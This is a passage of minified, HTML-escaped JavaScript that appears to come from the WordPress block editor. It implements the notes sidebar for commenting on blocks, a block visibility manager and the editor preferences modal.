e=n.split(&quot;&quot;,t).join(&quot;&quot;),s=e.length-e.replaceAll(&quot; &quot;,&quot;&quot;).length;o=n.split(&quot;&quot;,t+s).join(&quot;&quot;)}else&quot;characters_including_spaces&quot;===s&amp;&amp;(o=n.split(&quot;&quot;,t).join(&quot;&quot;));return o!==n?o+&quot;…&quot;:o}((0,Uc.__unstableStripHTML)(e.content?.rendered),10),A=e.blockClientId?(0,fs.sprintf)((0,fs.__)(&quot;Note: %s&quot;),D):(0,fs.sprintf)((0,fs.__)(&quot;Original block deleted. Note: %s&quot;),D);return&quot;new-note-thread&quot;===e.id&amp;&amp;&quot;open&quot;===x&amp;&amp;l?(0,c.jsx)(py,{onSubmit:s,newNoteFormState:x,setNewNoteFormState:r,commentSidebarRef:i,reflowComments:a,isFloating:l,y:j,refs:E}):(0,c.jsxs)(Hn.__experimentalVStack,{className:mr(&quot;editor-collab-sidebar-panel__thread&quot;,{&quot;is-selected&quot;:o,&quot;is-floating&quot;:l}),id:`comment-thread-${e.id}`,spacing:&quot;3&quot;,onClick:()=&gt;{r(&quot;closed&quot;),f(e.id),k(e.blockClientId,!0),e.blockClientId&amp;&amp;S(e.blockClientId,null)},onMouseEnter:()=&gt;{P(e.blockClientId,!0)},onMouseLeave:()=&gt;{P(e.blockClientId,!1)},onFocus:()=&gt;{w(e.blockClientId,!0)},onBlur:t=&gt;{const s=t.relatedTarget?.closest(&quot;.editor-collab-sidebar-panel__thread&quot;),n=t.relatedTarget?.closest(&#039;[role=&quot;dialog&quot;]&#039;),o=T.current;s&amp;&amp;!o||n||o&amp;&amp;t.currentTarget.contains(t.relatedTarget)||(w(e.blockClientId,!1),I())},onKeyUp:e=&gt;{&quot;Tab&quot;===e.key&amp;&amp;(T.current=!1)},onKeyDown:e=&gt;{&quot;Tab&quot;===e.key?T.current=!0:v(e)},tabIndex:0,role:&quot;treeitem&quot;,&quot;aria-label&quot;:A,&quot;aria-expanded&quot;:o,ref:l?E.setFloating:void 0,style:l?{top:j}:void 0,children:[(0,c.jsx)(Hn.Button,{className:&quot;editor-collab-sidebar-panel__skip-to-comment&quot;,variant:&quot;secondary&quot;,size:&quot;compact&quot;,onClick:()=&gt;{nb(e.id,i.current,&quot;textarea&quot;)},children:(0,fs.__)(&quot;Add new reply&quot;)}),!e.blockClientId&amp;&amp;(0,c.jsx)(Hn.__experimentalText,{as:&quot;p&quot;,weight:500,variant:&quot;muted&quot;,children:(0,fs.__)(&quot;Original block deleted.&quot;)}),(0,c.jsx)(fy,{thread:e,isExpanded:o,onEdit:(s={})=&gt;{t(s),&quot;approved&quot;===s.status&amp;&amp;(I(),l?C?.focus():nb(e.id,i.current))},onDelete:n,reflowComments:a}),o&amp;&amp;B.map((s=&gt;(0,c.jsx)(fy,{thread:s,parent:e,isExpanded:o,onEdit:t,onDelete:n,reflowComments:a},s.id))),!o&amp;&amp;R.length&gt;0&amp;&amp;(0,c.jsx)(Hn.__experimentalHStack,{className:&quot;editor-collab-sidebar-panel__more-reply-separator&quot;,children:(0,c.jsx)(Hn.Button,{size:&quot;compact&quot;,variant:&quot;tertiary&quot;,className:&quot;editor-collab-sidebar-panel__more-reply-button&quot;,onClick:()=&gt;{f(e.id),nb(e.id,i.current)},children:(0,fs.sprintf)((0,fs._n)(&quot;%s more reply&quot;,&quot;%s more replies&quot;,R.length),R.length)})}),!o&amp;&amp;N&amp;&amp;(0,c.jsx)(fy,{thread:N,parent:e,isExpanded:o,onEdit:t,onDelete:n,reflowComments:a}),o&amp;&amp;(0,c.jsxs)(Hn.__experimentalVStack,{spacing:&quot;2&quot;,role:&quot;treeitem&quot;,children:[(0,c.jsx)(Hn.__experimentalHStack,{alignment:&quot;left&quot;,spacing:&quot;3&quot;,justify:&quot;flex-start&quot;,children:(0,c.jsx)(ob,{})}),(0,c.jsx)(Hn.__experimentalVStack,{spacing:&quot;2&quot;,children:(0,c.jsx)(rb,{onSubmit:n=&gt;{&quot;approved&quot;===e.status?t({id:e.id,status:&quot;hold&quot;,content:n}):s({content:n,parent:e.id})},onCancel:t=&gt;{t.stopPropagation(),I(),nb(e.id,i.current)},submitButtonText:&quot;approved&quot;===e.status?(0,fs.__)(&quot;Reopen &amp; Reply&quot;):(0,fs.__)(&quot;Reply&quot;),rows:&quot;approved&quot;===e.status?2:4,labelText:(0,fs.sprintf)((0,fs.__)(&quot;Reply to note %1$s by %2$s&quot;),e.id,e.author_name),reflowComments:a})})]}),!!e.blockClientId&amp;&amp;(0,c.jsx)(Hn.Button,{className:&quot;editor-collab-sidebar-panel__skip-to-block&quot;,variant:&quot;secondary&quot;,size:&quot;compact&quot;,onClick:e=&gt;{e.stopPropagation(),C?.focus()},children:(0,fs.__)(&quot;Back to block&quot;)})]})}const fy=({thread:e,parent:t,isExpanded:s,onEdit:n,onDelete:o,reflowComments:r})=&gt;{const[i,a]=(0,p.useState)(!1),[l,d]=(0,p.useState)(!1),u=(0,p.useRef)(null),m=()=&gt;{a(!1),d(!1),u.current?.focus()},h=&quot;note&quot;===e.type&amp;&amp;e.meta&amp;&amp;(&quot;resolved&quot;===e.meta._wp_note_status||&quot;reopen&quot;===e.meta._wp_note_status),g=[{id:&quot;edit&quot;,title:(0,fs.__)(&quot;Edit&quot;),isEligible:({status:e})=&gt;&quot;approved&quot;!==e,onClick:()=&gt;{a(&quot;edit&quot;)}},{id:&quot;reopen&quot;,title:(0,fs._x)(&quot;Reopen&quot;,&quot;Reopen note&quot;),isEligible:({status:e})=&gt;&quot;approved&quot;===e,onClick:()=&gt;{n({id:e.id,status:&quot;hold&quot;})}},{id:&quot;delete&quot;,title:(0,fs.__)(&quot;Delete&quot;),isEligible:()=&gt;!0,onClick:()=&gt;{a(&quot;delete&quot;),d(!0)}}],_=0===e.parent,f=&quot;approved&quot;!==t?.status?g.filter((t=&gt;t.isEligible(e))):[],b=0===e.parent?(0,fs.__)(&quot;Are you sure you want to delete this note? This will also delete all of this note&#039;s replies.&quot;):(0,fs.__)(&quot;Are you sure you want to delete this reply?&quot;);return(0,c.jsxs)(Hn.__experimentalVStack,{spacing:&quot;2&quot;,role:0!==e.parent?&quot;treeitem&quot;:void 0,children:[(0,c.jsxs)(Hn.__experimentalHStack,{alignment:&quot;left&quot;,spacing:&quot;3&quot;,justify:&quot;flex-start&quot;,children:[(0,c.jsx)(ob,{avatar:e?.author_avatar_urls?.[48],name:e?.author_name,date:e?.date,userId:e?.author}),s&amp;&amp;(0,c.jsx)(Hn.FlexItem,{className:&quot;editor-collab-sidebar-panel__comment-status&quot;,onClick:e=&gt;{e.stopPropagation()},children:(0,c.jsxs)(Hn.__experimentalHStack,{spacing:&quot;0&quot;,children:[_&amp;&amp;(0,c.jsx)(Hn.Button,{label:(0,fs._x)(&quot;Resolve&quot;,&quot;Mark note as resolved&quot;),size:&quot;small&quot;,icon:wr,disabled:&quot;approved&quot;===e.status,accessibleWhenDisabled:&quot;approved&quot;===e.status,onClick:()=&gt;{n({id:e.id,status:&quot;approved&quot;})}}),(0,c.jsxs)(hy,{placement:&quot;bottom-end&quot;,children:[(0,c.jsx)(hy.TriggerButton,{render:(0,c.jsx)(Hn.Button,{ref:u,size:&quot;small&quot;,icon:r_,label:(0,fs.__)(&quot;Actions&quot;),disabled:!f.length,accessibleWhenDisabled:!0})}),(0,c.jsx)(hy.Popover,{modal:!1,children:f.map((e=&gt;(0,c.jsx)(hy.Item,{onClick:()=&gt;e.onClick(),children:(0,c.jsx)(hy.ItemLabel,{children:e.title})},e.id)))})]})]})})]}),&quot;edit&quot;===i?(0,c.jsx)(rb,{onSubmit:t=&gt;{n({id:e.id,content:t}),a(!1),u.current?.focus()},onCancel:()=&gt;m(),thread:e,submitButtonText:(0,fs._x)(&quot;Update&quot;,&quot;verb&quot;),labelText:(0,fs.sprintf)((0,fs.__)(&quot;Edit note %1$s by %2$s&quot;),e.id,e.author_name),reflowComments:r}):(0,c.jsx)(p.RawHTML,{className:mr(&quot;editor-collab-sidebar-panel__user-comment&quot;,{&quot;editor-collab-sidebar-panel__resolution-text&quot;:h}),children:h?(()=&gt;{const t=&quot;resolved&quot;===e.meta._wp_note_status?(0,fs.__)(&quot;Marked as resolved&quot;):(0,fs.__)(&quot;Reopened&quot;),s=e?.content?.raw;return s&amp;&amp;&quot;string&quot;==typeof s&amp;&amp;&quot;&quot;!==s.trim()?(0,fs.sprintf)((0,fs.__)(&quot;%1$s: %2$s&quot;),t,s):t})():e?.content?.rendered}),&quot;delete&quot;===i&amp;&amp;(0,c.jsx)(Hn.__experimentalConfirmDialog,{isOpen:l,onConfirm:()=&gt;{o(e),a(!1),d(!1)},onCancel:m,confirmButtonText:(0,fs.__)(&quot;Delete&quot;),children:b})]})};const{CommentIconSlotFill:by}=$(g.privateApis),yy=({clientId:e,onClick:t,isDistractionFree:s})=&gt;{const n=(0,d.useSelect)((t=&gt;t(g.store).getBlock(e)),[e]);if(!n?.isValid||n?.name===(0,x.getUnregisteredTypeHandlerName)())return null;const o=s||&quot;core/freeform&quot;===n?.name;let r;return s?r=(0,fs.__)(&quot;Notes are disabled in distraction free mode.&quot;):&quot;core/freeform&quot;===n?.name&amp;&amp;(r=(0,fs.__)(&quot;Convert to blocks to add notes.&quot;)),(0,c.jsx)(Hn.MenuItem,{icon:Kf,onClick:t,&quot;aria-haspopup&quot;:&quot;dialog&quot;,disabled:o,info:r,children:(0,fs.__)(&quot;Add note&quot;)})};var xy=({onClick:e,isDistractionFree:t})=&gt;(0,c.jsx)(by.Fill,{children:({clientId:s,onClose:n})=&gt;(0,c.jsx)(yy,{clientId:s,isDistractionFree:t,onClick:()=&gt;{e(),n()}})});const{CommentIconToolbarSlotFill:vy}=$(g.privateApis);var wy=({onClick:e,thread:t})=&gt;{const s=(0,p.useMemo)((()=&gt;{if(!t)return[];const e=new Map,s=[t,...t.reply];return s.sort(((e,t)=&gt;new Date(e.date)-new Date(t.date))),s.forEach((t=&gt;{t.author_name&amp;&amp;t.author_avatar_urls&amp;&amp;(e.has(t.author)||e.set(t.author,{name:t.author_name,avatar:t.author_avatar_urls?.[48]||t.author_avatar_urls?.[96],id:t.author,date:t.date}))})),Array.from(e.values())}),[t]);if(!s.length)return null;const n=s.length&gt;3?s.slice(0,2):s,o=Math.max(0,s.length-n.length),r=s.length&gt;100&amp;&amp;o&gt;0?(0,fs.__)(&quot;100+&quot;):(0,fs.sprintf)((0,fs.__)(&quot;+%s&quot;),o);return(0,c.jsx)(vy.Fill,{children:(0,c.jsx)(Hn.ToolbarButton,{className:&quot;comment-avatar-indicator&quot;,label:(0,fs.__)(&quot;View notes&quot;),onClick:e,showTooltip:!0,children:(0,c.jsxs)(Hn.__experimentalHStack,{spacing:&quot;1&quot;,children:[n.map((e=&gt;(0,c.jsx)(&quot;img&quot;,{src:e.avatar,alt:e.name,className:&quot;comment-avatar&quot;,style:{borderColor:sb(e.id)}},e.id))),o&gt;0&amp;&amp;(0,c.jsx)(Hn.__experimentalText,{weight:500,children:r})]})})})};function Sy({newNoteFormState:e,setNewNoteFormState:t,styles:s,comments:n,commentSidebarRef:o,reflowComments:r,commentLastUpdated:i,isFloating:a=!1}){const{onCreate:l,onEdit:p,onDelete:m}=function(e=eb){const{createNotice:t}=(0,d.useDispatch)(_s.store),{saveEntityRecord:s,deleteEntityRecord:n}=(0,d.useDispatch)(u.store),{getCurrentPostId:o}=(0,d.useSelect)(vc),{getBlockAttributes:r,getSelectedBlockClientId:i}=(0,d.useSelect)(g.store),{updateBlockAttributes:a}=(0,d.useDispatch)(g.store),l=e=&gt;{const s=e.message&amp;&amp;&quot;unknown_error&quot;!==e.code?(0,Ln.decodeEntities)(e.message):(0,fs.__)(&quot;An error occurred while performing an update.&quot;);t(&quot;error&quot;,s,{type:&quot;snackbar&quot;,isDismissible:!0})};return{onCreate:async({content:n,parent:c})=&gt;{try{const l=await s(&quot;root&quot;,&quot;comment&quot;,{post:o(),content:n,status:&quot;hold&quot;,type:&quot;note&quot;,parent:c||0},{throwOnError:!0});if(!c&amp;&amp;l?.id){const e=i(),t=r(e)?.metadata;a(e,{metadata:{...t,noteId:l.id}})}return t(&quot;snackbar&quot;,c?(0,fs.__)(&quot;Reply added.&quot;):(0,fs.__)(&quot;Note added.&quot;),{type:&quot;snackbar&quot;,isDismissible:!0}),setTimeout(e,300),l}catch(t){e(),l(t)}},onEdit:async({id:n,content:r,status:i})=&gt;{const a=i||&quot;updated&quot;,c={approved:(0,fs.__)(&quot;Note marked as resolved.&quot;),hold:(0,fs.__)(&quot;Note reopened.&quot;),updated:(0,fs.__)(&quot;Note updated.&quot;)};try{if(&quot;approved&quot;===i||&quot;hold&quot;===i){await s(&quot;root&quot;,&quot;comment&quot;,{id:n,status:i},{throwOnError:!0});const e={post:o(),content:r||&quot;&quot;,type:&quot;note&quot;,status:i,parent:n,meta:{_wp_note_status:&quot;approved&quot;===i?&quot;resolved&quot;:&quot;reopen&quot;}};await s(&quot;root&quot;,&quot;comment&quot;,e,{throwOnError:!0})}else{const e={id:n,content:r,status:i};await s(&quot;root&quot;,&quot;comment&quot;,e,{throwOnError:!0})}t(&quot;snackbar&quot;,c[a]??(0,fs.__)(&quot;Note updated.&quot;),{type:&quot;snackbar&quot;,isDismissible:!0}),e()}catch(t){e(),l(t)}},onDelete:async s=&gt;{try{if(await n(&quot;root&quot;,&quot;comment&quot;,s.id,void 0,{throwOnError:!0}),!s.parent){const e=i(),t=r(e)?.metadata;a(e,{metadata:cy({...t,noteId:void 0})})}t(&quot;snackbar&quot;,(0,fs.__)(&quot;Note deleted.&quot;),{type:&quot;snackbar&quot;,isDismissible:!0}),e()}catch(t){e(),l(t)}}}}(r);return(0,c.jsx)(Hn.__experimentalVStack,{className:&quot;editor-collab-sidebar-panel&quot;,style:s,role:&quot;tree&quot;,spacing:&quot;3&quot;,justify:&quot;flex-start&quot;,ref:e=&gt;{e&amp;&amp;(o.current=e)},&quot;aria-label&quot;:a?(0,fs.__)(&quot;Unresolved notes&quot;):(0,fs.__)(&quot;All notes&quot;),children:(0,c.jsx)(gy,{threads:n,onEditComment:p,onAddReply:l,onCommentDelete:m,newNoteFormState:e,setNewNoteFormState:t,commentSidebarRef:o,reflowComments:r,commentLastUpdated:i,isFloating:a})})}function ky({postId:e,mode:t}){const[s,n]=(0,p.useState)(&quot;closed&quot;),{getActiveComplementaryArea:o}=(0,d.useSelect)(ja),{enableComplementaryArea:r}=(0,d.useDispatch)(ja),{toggleBlockSpotlight:i}=$((0,d.useDispatch)(g.store)),a=(0,m.useViewportMatch)(&quot;medium&quot;),l=(0,p.useRef)(null),h=a&amp;&amp;&quot;post-only&quot;===t,{clientId:_,blockCommentId:f,isDistractionFree:b}=(0,d.useSelect)((e=&gt;{const{getBlockAttributes:t,getSelectedBlockClientId:s,getSettings:n}=e(g.store),o=s();return{clientId:o,blockCommentId:o?t(o)?.metadata?.noteId:null,isDistractionFree:n().isDistractionFree}}),[]),{resultComments:y,unresolvedSortedThreads:x,reflowComments:v,commentLastUpdated:w}=function(e){const[t,s]=(0,p.useReducer)((()=&gt;Date.now()),0),n={post:e,type:&quot;note&quot;,status:&quot;all&quot;,per_page:-1},{records:o}=(0,u.useEntityRecords)(&quot;root&quot;,&quot;comment&quot;,n,{enabled:!!e&amp;&amp;&quot;number&quot;==typeof e}),{getBlockAttributes:r}=(0,d.useSelect)(g.store),{clientIds:i}=(0,d.useSelect)((e=&gt;{const{getClientIdsWithDescendants:t}=e(g.store);return{clientIds:t()}}),[]),{resultComments:a,unresolvedSortedThreads:l}=(0,p.useMemo)((()=&gt;{if(!o||0===o.length)return{resultComments:[],unresolvedSortedThreads:[]};const e=i.reduce(((e,t)=&gt;{const s=r(t)?.metadata?.noteId;return s&amp;&amp;(e[t]=s),e}),{}),t={},s=[];if(o.forEach((s=&gt;{const n=Object.keys(e).find((t=&gt;e[t]===s.id));t[s.id]={...s,reply:[],blockClientId:0===s.parent?n:null}})),o.forEach((e=&gt;{0===e.parent?s.push(t[e.id]):t[e.parent]&amp;&amp;t[e.parent].reply.push(t[e.id])})),0===s?.length)return{resultComments:[],unresolvedSortedThreads:[]};const n=s.map((e=&gt;({...e,reply:[...e.reply].reverse()}))),a=new Map(n.map((e=&gt;[String(e.id),e]))),l=new Set(Object.values(e).map((e=&gt;String(e)))),c=Object.values(e).map((e=&gt;a.get(String(e)))).filter((e=&gt;void 0!==e&amp;&amp;&quot;hold&quot;===e.status)),d=Object.values(e).map((e=&gt;a.get(String(e)))).filter((e=&gt;void 0!==e&amp;&amp;&quot;approved&quot;===e.status)),u=n.filter((e=&gt;!l.has(String(e.id))));return{resultComments:[...c,...d,...u],unresolvedSortedThreads:c}}),[i,o,r]);return{resultComments:a,unresolvedSortedThreads:l,reflowComments:s,commentLastUpdated:t}}(e);!function(e=!1){const t=(0,d.useRegistry)();(0,p.useEffect)((()=&gt;{if(!e)return;const{getActiveComplementaryArea:s}=t.select(ja),{disableComplementaryArea:n,enableComplementaryArea:o}=t.dispatch(ja),r=t.subscribe((()=&gt;{null===s(&quot;core&quot;)&amp;&amp;o(&quot;core&quot;,Xf)}));return()=&gt;{r(),s(&quot;core&quot;)===Xf&amp;&amp;n(&quot;core&quot;,Xf)}}),[e,t])}(h&amp;&amp;(x.length&gt;0||&quot;closed&quot;!==s));const{merged:S}=Ti(),k=S?.styles?.color?.background,C=f?y.find((e=&gt;e.id===f)):null,P=y.length&gt;0||!h;async function j(){const e=await o(&quot;core&quot;),t=Jf.find((t=&gt;t===e));&quot;approved&quot;===C?.status?r(&quot;core&quot;,Qf):t&amp;&amp;P||r(&quot;core&quot;,h?Xf:Qf);const s=await o(&quot;core&quot;);Jf.includes(s)&amp;&amp;(n(C?&quot;closed&quot;:&quot;open&quot;),nb(C?.id,l.current,C?void 0:&quot;textarea&quot;),i(_,!0))}return b?(0,c.jsx)(xy,{isDistractionFree:!0}):(0,c.jsxs)(c.Fragment,{children:[!!C&amp;&amp;(0,c.jsx)(wy,{thread:C,onClick:j}),(0,c.jsx)(xy,{onClick:j}),P&amp;&amp;(0,c.jsx)(Bu,{identifier:Qf,name:Qf,title:(0,fs.__)(&quot;All notes&quot;),header:(0,c.jsx)(&quot;h2&quot;,{className:&quot;interface-complementary-area-header__title&quot;,children:(0,fs.__)(&quot;All notes&quot;)}),icon:Kf,closeLabel:(0,fs.__)(&quot;Close Notes&quot;),children:(0,c.jsx)(Sy,{comments:y,newNoteFormState:s,setNewNoteFormState:n,commentSidebarRef:l,reflowComments:v,commentLastUpdated:w})}),a&amp;&amp;(0,c.jsx)(Bu,{isPinnable:!1,header:!1,identifier:Xf,className:&quot;editor-collab-sidebar&quot;,headerClassName:&quot;editor-collab-sidebar__header&quot;,backgroundColor:k,children:(0,c.jsx)(Sy,{comments:x,newNoteFormState:s,setNewNoteFormState:n,commentSidebarRef:l,reflowComments:v,commentLastUpdated:w,styles:{backgroundColor:k},isFloating:!0})})]})}function Cy(){const{postId:e,mode:t,editorMode:s}=(0,d.useSelect)((e=&gt;{const{getCurrentPostId:t,getRenderingMode:s,getEditorMode:n}=e(vc);return{postId:t(),mode:s(),editorMode:n()}}),[]);return e&amp;&amp;&quot;number&quot;==typeof e?&quot;text&quot;===s?null:(0,c.jsx)(Id,{supportKeys:&quot;editor.notes&quot;,children:(0,c.jsx)(ky,{postId:e,mode:t})}):null}var Py=function({postType:e,postId:t,templateId:s,settings:n,children:o,initialEdits:r,onActionPerformed:i,extraContent:a,extraSidebarPanels:l,...p}){const{post:m,template:h,hasLoadedPost:g,error:_}=(0,d.useSelect)((n=&gt;{const{getEntityRecord:o,getResolutionError:r,hasFinishedResolution:i}=n(u.store),a=[&quot;postType&quot;,e,t];return{post:o(...a),template:s?o(&quot;postType&quot;,I,s):void 0,hasLoadedPost:i(&quot;getEntityRecord&quot;,a),error:r(&quot;getEntityRecord&quot;,a)?.message}}),[e,t,s]);return(0,c.jsxs)(c.Fragment,{children:[g&amp;&amp;!m&amp;&amp;(0,c.jsx)(Hn.Notice,{status:_?&quot;error&quot;:&quot;warning&quot;,isDismissible:!1,children:_||(0,fs.__)(&quot;You attempted to edit an item that doesn&#039;t exist. Perhaps it was deleted?&quot;)}),!!m&amp;&amp;(0,c.jsxs)(Rl,{post:m,__unstableTemplate:h,settings:n,initialEdits:r,useSubRegistry:!1,children:[(0,c.jsx)(sf,{...p,children:a}),o,(0,c.jsx)(qf,{onActionPerformed:i,extraPanels:l}),(0,c.jsx)(Cy,{})]})]})};const{PreferenceBaseOption:jy}=$(C.privateApis);function Ey(e){const t=(0,d.useSelect)((e=&gt;e(vc).isPublishSidebarEnabled()),[]),{enablePublishSidebar:s,disablePublishSidebar:n}=(0,d.useDispatch)(vc);return(0,c.jsx)(jy,{isChecked:t,onChange:e=&gt;e?s():n(),...e})}const{BlockManager:Ty}=$(g.privateApis),Iy=[];function By(){const{showBlockTypes:e,hideBlockTypes:t}=$((0,d.useDispatch)(vc)),{blockTypes:s,allowedBlockTypes:n,hiddenBlockTypes:o}=(0,d.useSelect)((e=&gt;({blockTypes:e(x.store).getBlockTypes(),allowedBlockTypes:e(vc).getEditorSettings().allowedBlockTypes,hiddenBlockTypes:e(C.store).get(&quot;core&quot;,&quot;hiddenBlockTypes&quot;)??Iy})),[]),r=(0,p.useMemo)((()=&gt;!0===n?s:s.filter((({name:e})=&gt;n?.includes(e)))),[n,s]).filter((e=&gt;(0,x.hasBlockSupport)(e,&quot;inserter&quot;,!0)&amp;&amp;(!e.parent||e.parent.includes(&quot;core/post-content&quot;)))),i=o.filter((e=&gt;r.some((t=&gt;t.name===e)))),a=r.filter((e=&gt;!i.includes(e.name))),l=r.length-a.length;const u=s=&gt;{if(a.length&gt;s.length){const e=a.filter((e=&gt;!s.find((({name:t})=&gt;t===e.name))));t(e.map((({name:e})=&gt;e)))}else if(a.length&lt;s.length){const t=s.filter((e=&gt;!a.find((({name:t})=&gt;t===e.name))));e(t.map((({name:e})=&gt;e)))}};return(0,c.jsxs)(&quot;div&quot;,{className:&quot;editor-block-visibility&quot;,children:[!!l&amp;&amp;(0,c.jsxs)(&quot;div&quot;,{className:&quot;editor-block-visibility__disabled-blocks-count&quot;,children:[(0,fs.sprintf)((0,fs._n)(&quot;%d block is hidden.&quot;,&quot;%d blocks are hidden.&quot;,l),l),(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,variant:&quot;link&quot;,onClick:function(){u(r)},children:(0,fs.__)(&quot;Reset&quot;)})]}),(0,c.jsx)(Ty,{blockTypes:r,selectedBlockTypes:a,onChange:u,showSelectAll:!1})]})}const{PreferencesModal:Ny,PreferencesModalTabs:Ry,PreferencesModalSection:Dy,PreferenceToggleControl:Ay}=$(C.privateApis);function My({extraSections:e={}}){const t=(0,m.useViewportMatch)(&quot;medium&quot;),s=(0,d.useSelect)((e=&gt;{const{getEditorSettings:s}=e(vc),{get:n}=e(C.store),o=s().richEditingEnabled;return!n(&quot;core&quot;,&quot;distractionFree&quot;)&amp;&amp;t&amp;&amp;o}),[t]),{setIsListViewOpened:n,setIsInserterOpened:o}=(0,d.useDispatch)(vc),{set:r}=(0,d.useDispatch)(C.store),i=(0,p.useMemo)((()=&gt;[{name:&quot;general&quot;,tabLabel:(0,fs.__)(&quot;General&quot;),content:(0,c.jsxs)(c.Fragment,{children:[(0,c.jsxs)(Dy,{title:(0,fs.__)(&quot;Interface&quot;),children:[(0,c.jsx)(Ay,{scope:&quot;core&quot;,featureName:&quot;showListViewByDefault&quot;,help:(0,fs.__)(&quot;Opens the List View panel by default.&quot;),label:(0,fs.__)(&quot;Always open List View&quot;)}),s&amp;&amp;(0,c.jsx)(Ay,{scope:&quot;core&quot;,featureName:&quot;showBlockBreadcrumbs&quot;,help:(0,fs.__)(&quot;Display the block hierarchy trail at the bottom of the editor.&quot;),label:(0,fs.__)(&quot;Show block breadcrumbs&quot;)}),(0,c.jsx)(Ay,{scope:&quot;core&quot;,featureName:&quot;allowRightClickOverrides&quot;,help:(0,fs.__)(&quot;Allows contextual List View menus via right-click, overriding browser defaults.&quot;),label:(0,fs.__)(&quot;Allow right-click contextual menus&quot;)}),(0,c.jsx)(Ay,{scope:&quot;core&quot;,featureName:&quot;enableChoosePatternModal&quot;,help:(0,fs.__)(&quot;Pick from starter content when creating a new page.&quot;),label:(0,fs.__)(&quot;Show starter patterns&quot;)})]}),(0,c.jsxs)(Dy,{title:(0,fs.__)(&quot;Document settings&quot;),description:(0,fs.__)(&quot;Select what settings are shown in the document panel.&quot;),children:[(0,c.jsx)(uu.Slot,{}),(0,c.jsx)(dh,{taxonomyWrapper:(e,t)=&gt;(0,c.jsx)(au,{label:t.labels.menu_name,panelName:`taxonomy-panel-${t.slug}`})}),(0,c.jsx)(gp,{children:(0,c.jsx)(au,{label:(0,fs.__)(&quot;Featured image&quot;),panelName:&quot;featured-image&quot;})}),(0,c.jsx)(op,{children:(0,c.jsx)(au,{label:(0,fs.__)(&quot;Excerpt&quot;),panelName:&quot;post-excerpt&quot;})}),(0,c.jsx)(Id,{supportKeys:[&quot;comments&quot;,&quot;trackbacks&quot;],children:(0,c.jsx)(au,{label:(0,fs.__)(&quot;Discussion&quot;),panelName:&quot;discussion-panel&quot;})}),(0,c.jsx)(Td,{children:(0,c.jsx)(au,{label:(0,fs.__)(&quot;Page attributes&quot;),panelName:&quot;page-attributes&quot;})})]}),t&amp;&amp;(0,c.jsx)(Dy,{title:(0,fs.__)(&quot;Publishing&quot;),children:(0,c.jsx)(Ey,{help:(0,fs.__)(&quot;Review settings, such as visibility and tags.&quot;),label:(0,fs.__)(&quot;Enable pre-publish checks&quot;)})}),e?.general]})},{name:&quot;appearance&quot;,tabLabel:(0,fs.__)(&quot;Appearance&quot;),content:(0,c.jsxs)(Dy,{title:(0,fs.__)(&quot;Appearance&quot;),description:(0,fs.__)(&quot;Customize the editor interface to suit your needs.&quot;),children:[(0,c.jsx)(Ay,{scope:&quot;core&quot;,featureName:&quot;fixedToolbar&quot;,onToggle:()=&gt;r(&quot;core&quot;,&quot;distractionFree&quot;,!1),help:(0,fs.__)(&quot;Access all block and document tools in a single place.&quot;),label:(0,fs.__)(&quot;Top toolbar&quot;)}),(0,c.jsx)(Ay,{scope:&quot;core&quot;,featureName:&quot;distractionFree&quot;,onToggle:()=&gt;{r(&quot;core&quot;,&quot;fixedToolbar&quot;,!0),o(!1),n(!1)},help:(0,fs.__)(&quot;Reduce visual distractions by hiding the toolbar and other elements to focus on writing.&quot;),label:(0,fs.__)(&quot;Distraction free&quot;)}),(0,c.jsx)(Ay,{scope:&quot;core&quot;,featureName:&quot;focusMode&quot;,help:(0,fs.__)(&quot;Highlights the current block and fades other content.&quot;),label:(0,fs.__)(&quot;Spotlight mode&quot;)}),e?.appearance]})},{name:&quot;accessibility&quot;,tabLabel:(0,fs.__)(&quot;Accessibility&quot;),content:(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(Dy,{title:(0,fs.__)(&quot;Navigation&quot;),description:(0,fs.__)(&quot;Optimize the editing experience for enhanced control.&quot;),children:(0,c.jsx)(Ay,{scope:&quot;core&quot;,featureName:&quot;keepCaretInsideBlock&quot;,help:(0,fs.__)(&quot;Keeps the text cursor within blocks while navigating with arrow keys, preventing it from moving to other blocks and enhancing accessibility for keyboard users.&quot;),label:(0,fs.__)(&quot;Contain text cursor inside block&quot;)})}),(0,c.jsx)(Dy,{title:(0,fs.__)(&quot;Interface&quot;),children:(0,c.jsx)(Ay,{scope:&quot;core&quot;,featureName:&quot;showIconLabels&quot;,label:(0,fs.__)(&quot;Show button text labels&quot;),help:(0,fs.__)(&quot;Show text instead of icons on buttons across the interface.&quot;)})})]})},{name:&quot;blocks&quot;,tabLabel:(0,fs.__)(&quot;Blocks&quot;),content:(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(Dy,{title:(0,fs.__)(&quot;Inserter&quot;),children:(0,c.jsx)(Ay,{scope:&quot;core&quot;,featureName:&quot;mostUsedBlocks&quot;,help:(0,fs.__)(&quot;Adds a category with the most frequently used blocks in the inserter.&quot;),label:(0,fs.__)(&quot;Show most used blocks&quot;)})}),(0,c.jsx)(Dy,{title:(0,fs.__)(&quot;Manage block visibility&quot;),description:(0,fs.__)(&quot;Disable blocks that you don&#039;t want to appear in the inserter. They can always be toggled back on later.&quot;),children:(0,c.jsx)(By,{})})]})},window.__experimentalMediaProcessing&amp;&amp;{name:&quot;media&quot;,tabLabel:(0,fs.__)(&quot;Media&quot;),content:(0,c.jsx)(c.Fragment,{children:(0,c.jsxs)(Dy,{title:(0,fs.__)(&quot;General&quot;),description:(0,fs.__)(&quot;Customize options related to the media upload flow.&quot;),children:[(0,c.jsx)(Ay,{scope:&quot;core/media&quot;,featureName:&quot;optimizeOnUpload&quot;,help:(0,fs.__)(&quot;Compress media items before uploading to the server.&quot;),label:(0,fs.__)(&quot;Pre-upload compression&quot;)}),(0,c.jsx)(Ay,{scope:&quot;core/media&quot;,featureName:&quot;requireApproval&quot;,help:(0,fs.__)(&quot;Require approval step when optimizing existing media.&quot;),label:(0,fs.__)(&quot;Approval step&quot;)})]})})}].filter(Boolean)),[s,e,o,n,r,t]);return(0,c.jsx)(Ry,{sections:i})}var Ly=function({postType:e}){const{registerPostTypeSchema:t}=$((0,d.useDispatch)(vc));(0,p.useEffect)((()=&gt;{t(e)}),[t,e]);const{fields:s}=(0,d.useSelect)((t=&gt;{const{getEntityFields:s}=$(t(vc));return{fields:s(&quot;postType&quot;,e)}}),[e]);return s};const Oy=&quot;content&quot;;var Fy={name:&quot;core/pattern-overrides&quot;,getValues({select:e,clientId:t,context:s,bindings:n}){const o=s[&quot;pattern/overrides&quot;],{getBlockAttributes:r}=e(g.store),i=r(t),a={};for(const e of 